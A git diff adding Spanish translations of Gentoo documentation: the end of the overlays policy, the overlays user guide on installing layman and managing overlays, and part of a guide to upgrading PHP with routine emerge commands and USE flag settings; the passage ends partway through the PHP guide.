+  overlay(s) del equipo. La petición de acceso debe venir del dueño del
+  overlay.</li>
+</ul>
+
+<p>
+Overlays de desarrollador:
+</p>
+<ul>
+  <li>Cualquier desarrollador de Gentoo puede pedir acceso de envío, con el
+  consentimiento del dueño del overlay.</li>
+  <li>Cualquier no desarrollador puede tener acceso de envío al overlay de un
+  desarrollador. La petición de acceso debe venir del dueño del overlay.</li>
+</ul>
+
+<p>
+Overlays SoC:
+</p>
+<ul>
+  <li>Se entregará el overlay al estudiante del SoC y a su mentor.</li>
+  <li>Cualquier no desarrollador puede tener acceso de envío a un overlay SoC.
+  La petición de acceso debe venir del estudiante del SoC o de su mentor.</li>
+</ul>
+
+<p>
+Overlays externos:
+</p>
+<ul>
+  <li>PENDIENTE</li>
+</ul>
+
+<p>Requerimientos comunes para No Desarrolladores</p>
+<ul>
+  <li>En primer lugar, se pide al no desarrollador tener un nick registrado
+  en el IRC de Freenode, y debe indicar una dirección de correo válida para
+  nuestros registros.</li>
+  <li>Si es un no desarrollador, por favor no pida acceso directamente al
+  equipo de overlays, una negativa a menudo puede ofender.</li>
+</ul>
+<note>
+Con trac + svn, es posible otorgar acceso de envío sólo a trac (esto es, al
+wiki), y a svn.
+</note>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Reglas generales para los overlays</title>
+<section>
+<body>
+<p>
+Tratamos de mantener el reglamento de ovelays al mínimo intencionadamente.
+Por favor, no abuse del servicio, y no nos fuerce a agregar más reglas :(
+</p>
+</body>
+</section>
+
+<section>
+<title>Lo que puede y no puede almacenar en overlays.g.o</title>
+<body>
+<p>
+overlays.g.o es para alojar árboles de paquetes, sus parches, cualquier
+documentación, y cualquier archivo tar descargable que no pueda ser alojado
+en otro lugar.
+</p>
+<p>
+PENDIENTE: Destacar que se permite $UPSTREAM para asuntos relacionados o
+específicos de Gentoo.
+</p>
+</body>
+</section>
+
+<section>
+<title>Los overlays son públicos</title>
+<body>
+<p>
+No exísten overlays "secretos".
+</p>
+<p>
+Todos los overlays están listandos en la página principal de overlays.g.o,
+y cualquiera es libre de descargar los contenidos de un overlay.
+</p>
+<p>
+Si necesita un overlay secreto, nosotros no somos el servicio que busca.
+</p>
+</body>
+</section>
+
+<section>
+<title>Monitoreo de "Bugs"</title>
+<body>
+<p>
+bugs.g.o es el UnicoYAuténticoSistemaDeMonitoreoDeBugs(tm), incluso para
+overlays.
+</p>
+</body>
+</section>
+
+<section>
+<title>Moviendo contribuciones desde overlays hacia el árbol Portage</title>
+<body>
+<p>
+No configure nada que envíe automáticamente los contenidos de un overlay al
+árbol principal de paquetes de Gentoo. Nunca.
+</p>
+<p>
+Cualquier código que tome de un overlay y lo envíe hacia el árbol principal
+de paquetes de Gentoo deberá ser revisado intensamente en primer lugar.
+Como persona que está enviando el código al árbol principal, es <e>su</e>
+responsabilidad asegurarse de que el código cumple con los estándares
+requeridos.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Administración de overlays</title>
+<section>
+<body>
+<p>
+Sólo el equipo de administración de overlays.g.o (listado en la página de
+proyecto de overlays) tiene acceso a la shell en la máquina de overlays.g.o.
+De momento, la gestión de cuentas (incluyendo cambio de claves) se hace a
+través del equipo de administración de overlays.
+</p>
+<p>
+Si necesita realizar cualquier cambio en su overlay (p. e. agregar/eliminar
+un usuario), por favor pregunte en #gentoo-overlays, y alguien le ayudará lo
+más pronto posible.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Eliminación de overlays</title>
+<section>
+<body>
+
+<p>
+Los overlays pueden ser elimandos por decisión del equipo de administración
+de overlays. Excepto en circunstanción excepcionales, sólo eliminaremos
+overlays por las siguientes razones:
+</p>
+<ul>
+  <li>Un overlay de proyecto será eliminado si el proyecto se cierra.</li>
+  <li>Los overlays de desarrollador serán eliminados cuando el desarrollador
+  se retire.</li>
+</ul>
+
+<p>
+Las circunstancias excepcionales pueden incluir:
+</p>
+<ul>
+  <li>Quejas de otros desarrolladores acerca de overlays cuyos contenidos están
+  causando problemas en paquetes del árbol principal.</li>
+  <li>Quejas de otros desarrolladores acerca de overlays cuyos contenidos crean
+  riesgos de seguridad a nuestros usuarios.</li>
+</ul>
+
+<p>
+Todas las circunstancias excepcionales serán discutidas en gentoo-dev antes de
+realizar cualquier acción.
+</p>
+<impo>
+Los Overlays son lugares donde se pueden realizar y probar cambios
+experimentales. ¡Por favor asegúrese de entender porqué las cosas son como
+son en un overlay antes de quejarse de lo que sucede!
+</impo>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Restricciones sobre el software nuevo</title>
+<section>
+<body>
+<p>
+Siempre estamos atentos a escuchar peticiones de otro software que podamos
+ofertar como parte del servicio. Por favor tenga en mente que necesitamos
+mantener la cantidad de software ofertada al mínimo para reducir la carga
+de trabajo del equipo de administración de overlays.
+</p>
+<p>
+Cualquier nuevo software agregado al servicio tendrá que cumplir los
+siguientes requerimientos *como mínimo*. Por favor no solicite un software a
+menos que lo haya probado y se haya asegurado de que cumple estos
+requerimientos.
+</p>
+
+<ul>
+  <li>Debe existir un paquete para el software que funcione en Portage.</li>
+  <li>El paquete debe tener un mantenedor activo.</li>
+  <li>El paquete debe tener un historial de seguridad "creíble". En
+  particular, los paquetes que necesitan actualización constante para arreglar
+  agujeros de seguridad serán rechazados.</li>
+  <li>Si el paquete ofrece un sistema de monitoreo de bugs, debe ser posible
+  desactivar este sistema.</li>
+</ul>
+
+<p>
+El único acceso a overlays.g.o es mediante estos dos mecanismos:
+</p>
+<ol>
+  <li>HTTP/HTTPS y Apache</li>
+  <li>SSH a Gitosis para los overlays Git</li>
+</ol>
+<p>
+El mecanismo de seguridad para overlays.g.o es mediante autenticación
+básica HTTP, sobre SSL. Usamos los archivos htpasswd y htgroup para gestionar
+quién puede envíar y dónde.
+</p>
+<p>
+Un paquete puede tener un control más fino en el acceso a través de sus
+propios mecanismos de seguridad (p. e., listas de permisos de trac), pero el
+paquete debe ser compatible con estos accesos y restricciones de seguridad.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Errores y omisiones</title>
+<section>
+<body>
+<p>
+Si encuentra algún fallo en esta política, por favor cree un bug en bugs.g.o,
+y asígnelo a overlays@gentoo.org.
+</p>
+
+<p>
+Todos los cambios en la política serán posteados en primer lugar en
+gentoo-dev para su discusión.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/overlays/userguide.xml b/xml/htdocs/proj/es/overlays/userguide.xml
new file mode 100644
index 00000000..97a67515
--- /dev/null
+++ b/xml/htdocs/proj/es/overlays/userguide.xml
@@ -0,0 +1,384 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide lang="es">
+<title>Gentoo Overlays: Guía del Usuario</title>
+
+<author title="Autor">
+  <mail link="stuart"/>
+</author>
+<author title="Autor">
+  <mail link="jokey"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traductor">
+  <mail link="srinclan@gmail.com">Sergio D. Rodríguez Inclan</mail>
+</author>
+<author title="Traductor">
+  <mail link="chiguire"/>
+</author>
+<author title="Traductor">
+  <mail link="nimiux"/>
+</author>
+
+<abstract>
+Esta guía ayudará a los usuarios a entender el uso del servicio que
+brindan los overlays de Gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2010-07-13</date>
+
+<chapter>
+<title>Introducción</title>
+<section>
+<title>Audiencia</title>
+<body>
+
+<p>
+Este documento ha sido escrito para los usuarios de Gentoo. Si
+es un Desarrollador de Gentoo o un miembro del equipo de Gentoo y
+desea manejar un overlay propio, por favor mire la <uri
+link="/proj/es/overlays/devguide.xml">Guía del Desarrollador</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>¿Qué son los Overlays?</title>
+<body>
+
+<p>
+"Overlays" son árboles de paquetes para Portage que contienen ebuilds
+adicionales para Gentoo. Son mantenidos por desarrolladores de Gentoo,
+pero distribuidos de forma separada con respecto al árbol Portage
+principal.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>¿Por qué usar Overlays?</title>
+<body>
+
+<p>
+Se crean overlays por muchas razones. Aquí mencionamos algunas de las
+principales:
+</p>
+
+<ul>
+  <li>
+    Si modifica un ebuild en <path>/usr/portage</path>, los cambios
+    se perderán la próxima vez que realize un <c>emerge --sync</c>.
+    Pero, si guarda el ebuild modificado en un overlay, sus cambios
+    están seguros de no perderse en un <c>emerge --sync</c>.
+  </li>
+  <li>
+    Ya que los overlays no están en el árbol principal de paquetes del
+    Portage de Gentoo, son el lugar perfecto para desarrollar y probar
+    un ebuild sin temor a romper el árbol principal de paquetes del
+    Portage.
+  </li>
+  <li>
+    No todos los ebuilds pertenecen al árbol de paquetes del Portage
+    de Gentoo. Un overlay es un buen sitio para almacenar un ebuild
+    hasta que esté listo para entrar al árbol de paquetes del Portage
+    de Gentoo.
+</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>¿Qué es el Proyecto de Overlays Gentoo?</title>
+<body>
+
+<p>
+Este proyecto proporciona espacios sociales que permite a proyectos,
+los desarrolladores y usuarios colaborar juntos en futuros paquetes
+para Gentoo. Esto lo llevamos a cabo hospedando overlays para
+proyectos, desarrolladores y usuarios de Gentoo.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>¿Están hospedados todos los overlays oficiales en
+overlays.gentoo.org?</title>
+<body>
+
+<p>
+No. Los desarrolladores de Gentoo son libres de poner sus overlays
+donde se sientan más cómodos; no tienen que usar overlays.gentoo.org
+si no lo desean.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Empezando con los Overlays</title>
+<section>
+<body>
+
+<p>
+Use <c>layman</c> para instalar y actualizar fácilmente los overlays
+cada cierto tiempo.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Instalando Layman</title>
+<body>
+
+<p>
+Para instalar <c>layman</c>, debe seguir estos pasos:
+</p>
+
+<pre caption="Instalando layman">
+# <i>emerge layman</i>
+</pre>
+
+<pre caption="Avisando a Portage sobre los repositorios layman">
+<comment>(para layman 1.1)</comment>
+# <i>echo "source /usr/portage/local/layman/make.conf" >> /etc/make.conf</i>
+
+<comment>(para layman 1.2)</comment>
+# <i>echo "source /usr/local/portage/layman/make.conf" >> /etc/make.conf</i>
+
+<comment>(para layman 1.3)</comment>
+# <i>echo "source /var/lib/layman/make.conf" >> /etc/make.conf</i>
+</pre>
+
+<note>
+Layman creará un el archivo
+<path>/usr/local/portage/layman/make.conf</path> una vez que haya
+añadido su primer overlay. Pero si no planea instalar un overlay
+inmediatamente, debería asegurarse que este archivo exista, y contenga
+una variable vacía <c>PORTDIR_OVERLAY</c>. De lo contrario Portage se
+quejará. Puede ejecutar <c>echo "PORTDIR_OVERLAY=\"\" >
+/usr/portage/local/layman/make.conf</c> para crear el archivo de
+forma correcta.
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Listando los Overlays disponibles</title>
+<body>
+
+<p>
+Para ver un listado de los overlays disponibles, ejecute:
+</p>
+
+<pre caption="Listado de overlays disponibles">
+# <i>layman -L</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Instalando un Overlay</title>
+<body>
+
+<p>
+Para instalar un overlay en su computadora, ejecute:
+</p>
+
+<pre caption="Agregando un overlay">
+# <i>layman -a &lt;overlay-name&gt;</i>
+</pre>
+
+<p>
+Por ejemplo, para instalar <uri
+link="http://overlays.gentoo.org/proj/php">el overlay de PHP</uri>,
+ejecute:
+</p>
+
+<pre caption="Agregando el overlay de PHP">
+# <i>layman -a php</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Instalar paquetes desde un Overlay</title>
+<body>
+
+<p>
+Después de instalar un overlay, puede instalar sus paquetes
+ejecutando:
+</p>
+
+<pre caption="Instalar un paquete de un overlay">
+# <i>emerge -av &lt;category&gt;/&lt;package&gt;</i>
+</pre>
+
+<p>
+Portage automáticamente busca en su árbol principal de Portage
+(en <path>/usr/portage</path>), además en el de todos los overlays
+que tiene instalados, y elige la versión más reciente del paquete
+que pueda encontrar.
+</p>
+
+<p>
+Si Portage no toma el paquete del overlay, es normal, ya que el
+paquete está marcado como ~arch, donde "arch" es la arquitectura de su
+computadora. Necesitará hacer keyword del paquete tal y como se
+explica en <uri link="/doc/es/handbook/">El Manual de Portage</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Actualizando un overlay</title>
+<body>
+
+<p>
+Para mantener actualizados los overlays instalados, ejecute:
+</p>
+
+<pre caption="Actualizando todos los overlays instalados">
+# <i>layman -S</i>
+</pre>
+
+<impo>
+Por favor, no haga esto más de una vez al día o causará demasiada
+tensión a la infraestructura de Gentoo.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Cómo involucrarse más</title>
+
+<section>
+<title>Introducción</title>
+<body>
+
+<p>
+Todos los desarrolladores de Gentoo fueron usuarios de Gentoo
+anteriormente y todavía son usuarios. Nuestros usuarios no sólo son
+la razón de la existencia de Gentoo, también son nuestros futuros
+voluntarios.
+</p>
+
+<p>
+Si empieza a contribuir con un proyecto, le daremos acceso de
+escritura al overlay del proyecto, y le proporcionaremos mentores
+para ayudarle a contribuir. Eventualmente, si nos agrada su trabajo
+y la manera en que lo hace, lo invitaremos a convertirse en un
+desarrollador completo de Gentoo.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Cómo empezar</title>
+<body>
+
+<p>
+Si desea contribuir en un overlay, la mejor manera es crear una buena
+relación con los desarrolladores de Gentoo responsables del
+overlay. Encontrará al responsable de cada overlay en la <uri
+link="http://overlays.gentoo.org">página de overlays.gentoo.org</uri>,
+y siguiendo el enlace del overlay en cuestión.
+</p>
+
+<p>
+Varios desarrolladores prefieren ser contactados de diferentes
+maneras. Algunos permanecen en IRC, y podrían tener canales propios
+para sus proyectos. Ejemplos incluyen al proyecto de PHP
+(#gentoo-php), y al proyecto de Webapps (#gentoo-web). Otros prefieren
+ser contactados solo por correo. La única manera de hacerlo es
+intentando hacer contacto y trabajar a partir de ahí. Normalmente, en
+el canal IRC #gentoo-bugs en freenode IRC saben como localizar a las
+personas en cuestión.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Trabajando con Subversion</title>
+<body>
+
+<p>
+<uri link="http://subversion.apache.org">Subversion</uri> es un
+sistema de control de versiones que usamos para manejar el contenido
+de nuestros overlays. Si nunca ha usado Subversion anteriormente, el
+libro de Subversion es una excelente manera de aprender Subversion.
+Puede comprarlo en formato barato o leerlo en línea gratuitamente.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Trabajando con Git</title>
+<body>
+
+<p>
+Git es otro sistema de control de versiones que usamos para manejar el
+contenido de nuestros overlays. Para familiarizarse con el, vea el
+tutorial proporcionado en su <uri link="http://www.git-scm.com">
+página oficial</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Información Adicional</title>
+<body>
+
+<p>
+El proyecto de Gentoo (o desarrollador) para el que esté trabajando
+debería ser capaz de brindarle cualquier información y asistencia
+adicional que necesite.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Preguntas frecuentes</title>
+<section>
+<body>
+
+<p>
+<b>P: ¿Hospedan overlays para los usuarios?</b>
+</p>
+
+<p>
+<b>A:</b> Sí, lo hacemos. Por favor lea <uri
+link="http://blog.hartwork.org/?p=843">este post</uri> para obtener
+instrucciones de cómo hospedar su overlay en la infraestructura de
+Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/php/php-upgrading.xml b/xml/htdocs/proj/es/php/php-upgrading.xml
new file mode 100644
index 00000000..507f9987
--- /dev/null
+++ b/xml/htdocs/proj/es/php/php-upgrading.xml
@@ -0,0 +1,723 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/php/php-upgrading.xml,v 1.2 2007/11/06 00:12:40 chiguire Exp $ -->
+
+<guide link="/proj/es/php/php-upgrading.xml" lang="es">
+<title>Actualizando PHP</title>
+
+<author title="Author">
+ <mail link="akorthaus@web.de">Andreas Korthaus</mail>
+</author>
+<author title="Traductor">
+  <mail link="warp3r@gmail.com">Jordi Molina</mail>
+</author>
+
+<abstract>
+Este documento explica el procedimiento que un usuario final debería
+seguir para actualizar con seguridad su instalación de PHP.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2007-08-11</date>
+
+<chapter>
+<title>Introducción</title>
+<section>
+<body>
+
+<p>
+En el pasado han existido muchas peticiones sobre por qué PHP5 dentro
+de Portage no está marcado todavía como estable. El problema no es el
+propio paquete de PHP5, el principal motivo por el que PHP5 no estaba
+marcado como aún estable es que existen diversas aplicaciones,
+extensiones de PHP y otros paquetes en Portage, que no funcionan con
+PHP5, y no hay nada que se pueda hacer al respecto. PHP5 no es 100%
+retro-compatible con PHP4, y no todo programa PHP4 puede ser o será
+portado a PHP5. Muchos usuarios van a seguir necesitando soporte para
+PHP4 durante un tiempo.
+</p>
+
+<p>
+La solución para solucionar todos estos problemas es proporcionar un
+entorno mixto PHP4 / PHP5 en el mismo sistema y al mismo tiempo. Pero
+esto no era posible con el esquema actual de paquetes PHP y eclasses,
+de ahí la necesidad de hacer un gran esfuerzo en un nuevo esquema,
+nuevas eclasses y nuevos ebuilds.
+</p>
+
+<p>
+Este documento explica con detalle como actualizar tu sistema sin
+destrozarlo.
+</p>
+
+<note>
+Los nuevos paquetes de PHP requieren el nuevo esquema de Apache, así
+que échale un vistazo a <uri
+link="/doc/es/apache-upgrading.xml">Actualizando Apache</uri> si no
+has actualizado todavía.
+</note>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Cambios</title>
+<section>
+<title>Paquetes básicos de PHP consolidados</title>
+<body>
+
+<p>
+Todos los ebuilds PHP <c>dev-php/php</c>, <c>dev-php/php-cgi</c> y
+<c>dev-php/mod_php</c> han sido unidos en un solo ebuild:
+<c>dev-lang/php</c>.
+</p>
+
+<p>
+Para escoger el SAPI que quieres, usa los siguientes USE flags,
+</p>
+
+<ul>
+  <li><c>cgi</c> - compila y instala <path>/usr/bin/php-cgi</path></li>
+  <li><c>cli</c> - compila y instala <path>/usr/bin/php</path></li>
+  <li><c>apache</c> - compila y instala <c>mod_php</c> for Apache 1.3  (
+nuevo esquema)</li>
+  <li><c>apache2</c> - compila y instala <c>mod_php</c> for Apache 2.0  
+(nuevo esquema)</li>
+</ul>
+
+<p>
+Puedes usar y combinar cualquiera de estas USE flags; con la excepción
+de usar simultáneamente<c>apache</c> y <c>apache2</c>.
+</p>
+
+<p>
+El principal objetivo de estos ebuilds es que puedas tener instalados
+al mismo tiempo PHP4 y PHP5:
+</p>
+
+<pre caption="instalando PHP">
+<comment>(instala la última versión de PHP con CLI y el módulo para Apache2)
+</comment>
+<i>USE="cli apache2" emerge 'dev-lang/php'</i>
+
+<comment>(instala sólo PHP4)</comment>
+<i>USE="cli apache2" emerge '=dev-lang/php-4*'</i>
+
+<comment>(instalar ambos, PHP4 y PHP5)</comment>
+<i>USE="cli apache2" emerge '=dev-lang/php-4*' '=dev-lang/php-5*'</i>
+</pre>
+
+<note>
+Los parámetros USE no deberían utilizarse de esta forma, por favor,
+usa <path>/etc/portage/package.use</path> como te explicamos después.
+</note>
+</body>
+</section>
+
+<section>
+<title>Nuevas categorías en Portage</title>
+<body>
+
+<p>
+Los nuevos ebuilds de PHP se han movido de <c>dev-php</c> a
+<c>dev-lang/php</c>.  Para hacer posible la instalación independiente
+de paquetes para PHP4 y PHP5, se han creado dos nuevas categorías de
+portage: <c>dev-php4</c> y <c>dev-php5</c>. Estas categorías son
+usadas principalmente pro paquetes PECL como <c>pecl-pdo</c>,
+<c>pecl-apc</c>, <c>php-java-bridge</c> o <c>xdebug</c>.
+</p>
+
+<p>
+Para instalar <c>pecl-apc</c>:
+</p>
+
+<pre caption="instalar una extension PHP como PECL::APC (ejemplo)">
+<comment>(instalar APC para PHP4 solamente)</comment>
+<i>emerge dev-php4/pecl-apc</i>
+
+<comment>(instalar APC para PHP5 solamente)</comment>
+<i>emerge dev-php5/pecl-apc</i>
+
+<comment>(instalar APC para ambos, PHP4 y PHP5)</comment>
+<i>emerge dev-php4/pecl-apc dev-php5/pecl-apc</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Nuevos directorios</title>
+<body>
+
+<ul>
+  <li>
+    Estos nuevos ebuilds instalan sus contenidos en
+    <path>/usr/lib/php4</path> y <path>/usr/lib/php5</path> (los
+    módulos Apache van al lugar adecuado para Apache).
+  </li>
+  <li>
+    Los paquetes PEAR se instalan en <path>/usr/share/php</path>
+    (antes <path>/usr/lib/php</path> ), si usas <c>pear</c> como USE
+    flag.
+  </li>
+  <li>
+    Los paquetes PECL no volverán a añadir directivas de configuración
+    al archivo de configuración <path>php.ini</path>, a partir de
+    ahora lo harán en archivos del tipo <path>[PACKAGE].ini</path> en
+    la ruta <path>/etc/php/[SAPI]/ext</path>.
+  </li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Enlaces simbólicos de los binarios de PHP</title>
+<body>
+
+<p>
+Si instalas más de una versión de PHP, p.ej.:
+</p>
+
+<pre caption="emerge PHP4 y PHP5">
+<i>USE="cgi cli apache2" emerge '=dev-lang/php-4*' '=dev-lang/php-5*'</i>
+</pre>
+
+<p>
+Los ebuilds crearán enlaces simbólicos en <path>/usr/bin</path> para
+la última versión de PHP que hayas instalado, en este caso PHP5 ya que
+se instaló después de PHP4.  Si quieres que <path>/usr/bin/php</path>
+o <path>/usr/bin/php-cgi</path> apunten a PHP4 o uno a PHP4 y otro a
+PHP5, etc.  puedes <uri link="#doc_chap3_sect6">usar la herramienta
+php-select</uri> del ebuild
+<c>app-admin/php-toolkit</c>. <c>php-select</c> simplifica crear
+enlaces simbólicos de los binarios adecuados.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Instrucciones para la actualización</title>
+<section>
+<title>Encontrar los paquetes a actualizar</title>
+<body>
+
+<p>
+Lo primero que necesitarás saber es que paquetes adicionales necesitas
+actualizar. Puedes averiguar esto usando la herramienta <c>equery</c>,
+parte del paquete <c>app-portage/gentoolkit</c>:
+</p>
+
+<pre caption="Lista los paquetes instalados en dev-php">
+$ <i>equery list 'dev-php/'</i>
+[ Searching for all packages in 'dev-php' among: ]
+ * installed packages
+[I--] [  ] dev-php/php-4.4.0 (0)
+[I--] [  ] dev-php/mod_php-4.4.0 (1)
+[I--] [  ] dev-php/smarty-2.6.10 (0)
+[I--] [  ] dev-php/PEAR-PEAR-1.3.5-r1 (0)
+[I--] [  ] dev-php/PEAR-Mail-1.1.6 (0)
+[I--] [  ] dev-php/PEAR-MDB-1.3.0 (0)
+[I--] [  ] dev-php/PECL-apc-3.0.6 (0)
+[I--] [  ] dev-php/PECL-imagick-0.9.11 (0)
+[I--] [  ] dev-php/xdebug-2.0.0_beta3 (0)
+</pre>
+
+<impo>
+Los paquetes que puedas tener instalados son muy diferentes, asegurate
+de que ejecutas este comando por ti mismo. Deberías también tomar nota
+de la lista que genere dicho comando, para poder asegurarte de que
+actualizas todos los paquetes.
+</impo>
+
+<note>
+Algunas webapps no se ven afectadas, dado que muchas de ellas usan la
+eclass webapp que se encarga de instalarlas correctamente. Seguramente
+quieras comprobar si hay alguna nueva revisión.
+</note>
+
+<p>
+Las extensiones PHP, como por ejemplo
+</p>
+
+<ul>
+  <li><c>PECL-apc</c></li>
+   <li><c>PECL-imagick</c></li>
+   <li><c>xdebug</c></li>
+</ul>
+
+<p>
+Se han dividido en 2 categorías separadas de portage: <c>dev-php4</c>
+y <c>dev-php5</c>, para permitir usarlas independientemente en ambas
+versiones.  Adicionalemente, muchos de estos paquetes han sido
+renombrados:
+</p>
+
+<p>
+Ejemplos de nuevos directorios y cambios de nombre:
+</p>
+
+<table>
+  <tr>
+    <th>Extensión PHP</th>
+    <th>viejo</th>
+    <th>nuevo en PHP4</th>
+    <th>nuevo en PHP5</th>
+  </tr>
+  <tr>
+    <ti>APC</ti>
+    <ti>dev-php/PECL-apc</ti>
+    <ti>dev-php4/pecl-apc</ti>
+    <ti>dev-php5/pecl-apc</ti>
+  </tr>
+  <tr>
+    <ti>Imagick</ti>
+    <ti>dev-php/PECL-imagick</ti>
+    <ti>dev-php4/pecl-imagick</ti>
+    <ti>dev-php5/pecl-imagick</ti>
+  </tr>
+  <tr>
+    <ti>Xdebug</ti>
+    <ti>dev-php/xdebug</ti>
+    <ti>dev-php4/xdebug</ti>
+    <ti>dev-php5/xdebug</ti>
+  </tr>
+</table>
+
+<note>
+Antes de emerger estas extensiones de nuevo, deberías buscar en
+<path>/usr/portage</path> como se han renombrado los paquetes.
+</note>
+</body>
+</section>
+
+<section>
+<title>Eliminar los viejos paquetes</title>
+<body>
+
+<p>
+Hemos hecho diversos cambios en como PHP trabaja dentro de
+Gentoo. Debes eliminar todos tus antiguos paquetes de PHP antes de
+empezar a instalar los nuevos:
+</p>
+
+<pre caption="eliminando los paquetes viejos (ejemplo)">
+<comment>(desinstala los paquetes de PHP)</comment>
+<i>emerge --unmerge php mod_php</i>
+
+<comment>(desinstala las extensiones de PHP)</comment>
+<i>emerge --unmerge PECL-apc PECL-imagick xdebug</i>
+
+<comment>(desinstala las librerías/aplicaciones PHP)</comment>
+<i>emerge --unmerge PEAR-PEAR PEAR-Mail PEAR-MDB smarty</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Configurar los USE flags</title>
+<body>
+
+<p>
+Dado que se han añadido nuevas USE flags, posiblemente quieras
+revisarlas y añadir las lineas apropiadas en
+<path>/etc/portage/package.use</path> (deberás crearlo si no existe).
+</p>
+
+<note>
+<path>/etc/portage/package.use</path> establecerá y recordará las USE
+flags para tu instalación de PHP sin tener que añadirlas de forma
+global en <path>make.conf</path>.
+</note>
+
+<p>
+Por favor, configura las USE flags de acuerdo con lo que quieras que
+tu instalación soporte (se recomienda como mínimo configurar la USE
+flag <c>cli</c>):
+</p>
+
+<pre caption="USE flags para dev-lang/php (ejemplo)">
+dev-lang/php -* cli apache2 ctype gd jpeg mysql pcre png session truetype xml xsl zlib
+</pre>
+
+<note>
+<c>-*</c> desactivará todas las USE flags (incluyendo funcionalidad
+básica PHP como Session-, PCRE-, gd- y el soporte para MySQL-!), así
+que tendrás que especificar cada USE flag para cada
+extensión/funcionalidad que quieras usar.  Visita <uri
+link="http://overlays.gentoo.org/proj/php/wiki/ManagingExtensions">
+Managing Extensions</uri> para obtener detalles. Debes poner la USE
+flag <c>pcre</c> como se indica arriba si quieres usar <uri
+link="http://overlays.gentoo.org/proj/php/wiki/PhpRefPcre"> funciones
+preg_* </uri> o <c>session</c> si quieres usar <uri
+link="http://overlays.gentoo.org/proj/php/wiki/PhpRefSession">
+Funciones de gestión de sesión</uri>.
+</note>
+
+<p>
+Si quieres instalar PHP4 y PHP5 en paralelo, puedes indicar diferentes
+parámetros USE para cada versión:
+</p>
+
+<pre caption="diferentes USE flags para PHP4 y PHP5 (ejemplo)">
+=dev-lang/php-4* -* cgi cli ctype gd jpeg mysql pcre pear png session truetype xml xsl zlib
+=dev-lang/php-5* -* cli apache2 ctype gd jpeg mysql pcre pdo-external pear png session simplexml soap sqlite truetype xml xsl zlib
+</pre>
+
+<note>
+Para una lista de los parámetros USE recomendadas, échale un vistazo a
+<uri link="http://overlays.gentoo.org/proj/php/wiki/CommonQuestions">
+USE flags recomendadas</uri>. Para una lista de los parámetros USE
+disponibles para PHP mira la <uri
+link="http://overlays.gentoo.org/proj/php/wiki/NewUseFlags">Tabla de
+USE flags</uri> en el overlay del wiki.
+</note>
+</body>
+</section>
+
+<section>
+<title>Emergiendo PHP</title>
+<body>
+
+<p>
+Ahora tienes la opción de instalar sólo PHP4, sólo PHP5 o ambos en
+paralelo.  Para instalar PHP4 solo tienes que hacer un emerge
+<c>=dev-lang/php-4*</c>, para instalar PHP5 (la versión más reciente)
+puedes usar <c>dev-lang/php</c>, y para instalar ambas en paralelo,
+tienes que emerger <c>=dev-lang/php-4*</c> y <c>=dev-lang/php-5*</c>.
+</p>
+
+<p>
+Comprobar la configuración de los parámetros USE:
+</p>
+
+<pre caption="Comprobar parámetros USE (ejemplo)">
+<comment>(comprobar para PHP4)</comment>
+<i>emerge --pretend --verbose '=dev-lang/php-4*'</i>
+
+<comment>(comprobar para PHP5)</comment>
+<i>emerge --pretend --verbose '=dev-lang/php-5*'</i>
+
+<comment>(comprobar extensiones para PHP4)</comment>
+<i>emerge --pretend --verbose dev-php4/pecl-apc dev-php4/pecl-imagick dev-php4/xdebug</i>
+
+<comment>(comprobar extensiones para PHP5)</comment>
+<i>emerge --pretend --verbose dev-php5/pecl-apc dev-php5/pecl-imagick</i>
+
+<comment>(comprobar librerías/aplicaciones PHP)</comment>
+<i>emerge --pretend --verbose PEAR-PEAR PEAR-Mail PEAR-MDB smarty</i>
+</pre>
+
+<p>
+Emerge PHP si todo está correcto:
+</p>
+
+<pre caption="emerger nuevos paquetes (ejemplo)">
+<comment>(emerger el paquete PHP4)</comment>
+<i>emerge '=dev-lang/php-4*'</i>
+
+<comment>(emerger el paquete PHP5)</comment>
+<i>emerge '=dev-lang/php-5*'</i>
+
+<comment>(emerger las extensiones PHP para PHP4)</comment>
+<i>emerge dev-php4/pecl-apc dev-php4/pecl-imagick dev-php4/xdebug</i>
+
+<comment>(emerger las extensiones PHP para PHP5)</comment>
